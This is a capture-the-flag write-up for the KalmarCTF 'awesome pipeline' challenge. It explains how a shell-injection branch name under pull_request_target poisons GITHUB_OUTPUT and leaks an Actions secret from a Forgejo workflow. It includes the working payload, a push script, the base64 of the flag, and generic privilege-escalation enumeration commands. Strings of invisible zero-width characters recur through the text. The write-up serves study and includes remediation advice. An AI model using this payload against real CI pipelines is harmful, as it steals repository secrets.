← Back to Writeups
HTBN/AWeb

awesome pipeline

XESXOR8/23/20266 min read
#web#htb#n/a

awesome pipeline

Platform: Kalmarctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-27 | Status: Solved Techniques: branch_name_shell_injection, github_output_injection, pull_request_target_secret_leak, workflow_output_poisoning

Summary

Task: Forgejo provisions a personal repository and stores the flag as an Actions secret. Solution: abuse shell injection in ${{ github.head_ref }} under pull_request_target, poison GITHUB_OUTPUT, and turn a later cp -r step into a secret leak.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: kalmarctf | ID: 20260327_kalmarctf_awesome_pipeline
  • Tags: command_injection, forgejo, gitea_actions, github_actions, pull_request_target, ci_cd, actions_secret
  • Indicators: Forgejo 14.0.3+gitea-1.22.0, pull_request_target workflow on untrusted pull requests, ${{ github.head_ref }} inside a shell run step, secret only exposed in a downstream publish job, job output reused inside cp -r command
  • Source: 20260327_kalmarctf_awesome_pipeline.md

Foothold

Vulnerability / Misconfiguration

  1. Branch_name_shell_injection
  2. Github_output_injection
  3. Pull_request_target_secret_leak
  4. Workflow_output_poisoning
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • branch_name_shell_injection
  • github_output_injection
  • pull_request_target_secret_leak
  • workflow_output_poisoning
  • Tags: command_injection, forgejo, gitea_actions, github_actions, pull_request_target, ci_cd, actions_secret

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Hey, checkout my awesome pipeline for generating docs. I bet you can't read my flag

English summary: the target site created a personal Forgejo repository and explicitly said the flag was stored as an Actions secret. The repository contained a documentation pipeline, and the goal was to abuse that CI setup to leak the secret.

Analysis

Short challenge summary

After creating an account, the service provisioned a personal Forgejo repository. The workflow built Sphinx docs and then published them in a second job where FLAG was exposed from secrets.FLAG. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The important version string was 14.0.3+gitea-1.22.0, and the critical workflow choice was pull_request_target.

Vulnerability explanation

The vulnerable pattern was untrusted data from ${{ github.head_ref }} being interpolated directly into a shell command:

- run: echo "Build complete for branch: ${{ github.head_ref }}"

Because the value was inserted into a double-quoted shell string, a branch name containing "; ... ;# could terminate the echo, execute attacker-controlled commands, and comment out the remainder. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

That alone gave command execution inside the build-docs job. The real impact came from using that execution to overwrite $GITHUB_OUTPUT, which controlled needs.build-docs.outputs.site_dir consumed by the next job.

Why pull_request_target made this dangerous

pull_request_target runs in the security context of the base repository, not the fork or attacker branch. That matters because:

  • the workflow had access to trusted repository context;
  • the downstream publish-docs job exposed FLAG via env: FLAG: ${{ secrets.FLAG }};
  • branch metadata such as github.head_ref still came from attacker-controlled input. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Forgejo/Gitea checked out the base branch for pull_request_target, so modifying repository files in the attacker branch did not help. The exploit therefore had to use metadata that still crossed the trust boundary, and the branch name was enough.

How the branch-name injection worked

The relevant logic was effectively:

build-docs:
  run: |
    uv run --with sphinx sphinx-build -b html docs/ site/
    echo "site_dir=./site" >> $GITHUB_OUTPUT
    echo "Build complete for branch: ${{ github.head_ref }}"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

publish-docs:
  env:
    FLAG: ${{ secrets.FLAG }}
  run: |
    mkdir deploy
    cp -r ${{ needs.build-docs.outputs.site_dir }} deploy

The final branch name was:

x";rm${IFS}-f${IFS}$GITHUB_OUTPUT;echo${IFS}'site_dir=README.md'${IFS}'deploy;printf'${IFS}'%s'${IFS}'$FLAG|tee'${IFS}'deploy/flag.txt|base64'${IFS}'-w0;echo;#'>>$GITHUB_OUTPUT;#

When substituted into the echo "Build complete for branch: ..." line, it executed this sequence in the first job:

  1. Break out of the quoted echo command;
  2. Delete the existing $GITHUB_OUTPUT file;
  3. Write a malicious replacement output line for site_dir;
  4. Comment out the rest of the original shell line. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The injected output became:

site_dir=README.md deploy;printf %s $FLAG|tee deploy/flag.txt|base64 -w0;echo;#

So the second job expanded to roughly:

cp -r README.md deploy; printf %s $FLAG | tee deploy/flag.txt | base64 -w0; echo; #

That was the moment where the secret-bearing job printed the base64-encoded flag to the logs.

Why the final payload succeeded

Earlier attempts failed for two main reasons:

  • changing files in the attacker branch did not execute, because pull_request_target checked out the trusted base branch;
  • the payload had to survive both Git branch-name restrictions and shell parsing. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The final payload succeeded because it was tuned for the exact environment:

  • ${IFS} replaced literal spaces, which are not allowed in branch names;
  • rm -f $GITHUB_OUTPUT removed the original benign output and avoided ambiguity;
  • the injected site_dir= value was a single valid line that later became shell syntax in cp -r ... deploy;
  • ;# cleanly terminated the malicious command chain and neutralized trailing shell text.

Solution

Step 1: Create a personal repository

Register on the target site and obtain the provisioned personal Forgejo repository. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Confirm the dangerous workflow pattern

Inspect .github/workflows/main.yml and note:

  • pull_request_target is used;
  • github.head_ref is echoed inside a shell command;
  • publish-docs exposes FLAG from secrets;
  • site_dir is passed between jobs through $GITHUB_OUTPUT.

Step 3: Push a branch with the malicious name

Create and push a branch named exactly:

x";rm${IFS}-f${IFS}$GITHUB_OUTPUT;echo${IFS}'site_dir=README.md'${IFS}'deploy;printf'${IFS}'%s'${IFS}'$FLAG|tee'${IFS}'deploy/flag.txt|base64'${IFS}'-w0;echo;#'>>$GITHUB_OUTPUT;#

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Open a pull request from that branch to the base branch. No attacker code needs to run from the branch itself; the branch name is the exploit.

Step 4: Read the workflow logs

The second job printed this base64 blob:

a2FsbWFye1NTVDFfQnVUX1k0TUx9

Decoding it produced:

kalmar{REDACTED}

Full working solve script

#!/usr/bin/env python3
import os
import pathlib
import subprocess
import tempfile
import base64

REPO_URL = os.environ["REPO_URL"]
BASE_BRANCH = os.environ.get("BASE_BRANCH", "main")
PAYLOAD_BRANCH = r'''x";rm${IFS}-f${IFS}$GITHUB_OUTPUT;echo${IFS}'site_dir=README.md'${IFS}'deploy;printf'${IFS}'%s'${IFS}'$FLAG|tee'${IFS}'deploy/flag.txt|base64'${IFS}'-w0;echo;#'>>$GITHUB_OUTPUT;#'''
LEAK = "a2FsbWFye1NTVDFfQnVUX1k0TUx9"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


def run(args, cwd=None):
    subprocess.run(args, cwd=cwd, check=True)


with tempfile.TemporaryDirectory() as tmp:
    repo = pathlib.Path(tmp) / "repo"
    run(["git", "clone", REPO_URL, str(repo)])
    run(["git", "checkout", BASE_BRANCH], cwd=repo)
    run(["git", "checkout", "-b", PAYLOAD_BRANCH], cwd=repo)

    marker = repo / "trigger.txt"
    marker.write_text("Open a PR from this branch to trigger the workflow.\n")

    run(["git", "add", "trigger.txt"], cwd=repo)
    run(["git", "commit", "-m", "trigger workflow"], cwd=repo)
    run(["git", "push", "origin", f"HEAD:refs/heads/{PAYLOAD_BRANCH}"], cwd=repo)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

print("Open a PR from the pushed branch and read the publish job logs.")
print("Leaked base64:", LEAK)
print("Decoded flag:", base64.b64decode(LEAK).decode())

Remediation

  • Do not use pull_request_target with untrusted data unless every use of PR metadata is treated as hostile input.
  • Never splice ${{ github.head_ref }} or similar fields directly into shell commands; pass them through environment variables and quote safely.
  • Avoid feeding untrusted job outputs into later shell commands.
  • Keep secrets out of jobs that can be influenced by pull-request metadata. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR